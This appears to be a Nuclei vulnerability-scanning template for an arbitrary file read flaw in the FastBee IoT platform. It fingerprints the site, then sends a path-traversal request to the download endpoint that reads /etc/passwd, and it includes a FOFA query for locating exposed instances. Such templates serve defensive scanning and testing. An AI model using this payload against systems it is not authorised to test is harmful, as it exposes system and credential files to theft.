fastbee-arbitrary-file-read: FastBee - Local File Inclusion

id: fastbee-arbitrary-file-read

info:
  name: FastBee - Local File Inclusion
  author: s4e-io
  severity: high
  description: |
    Arbitrary file read vulnerability exists in FastBee IoT platform download, which may lead to sensitive information leakage, data theft and other security risks, thus causing serious harm to the system and users.
  reference:
    - https://blog.csdn.net/weixin_43167326/article/details/141806542
  metadata:
    verified: true
    max-request: 1
    vendor: fastbee
    product: fastbee
    fofa-query: "fastbee"
  tags: fastbee,iot,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"<title>FastBee")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /prod-api/iot/tool/download?fileName=/../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"

      - type: word
        part: content_type
        words:
          - 'application/octet-stream'

      - type: status
        status:
          - 200
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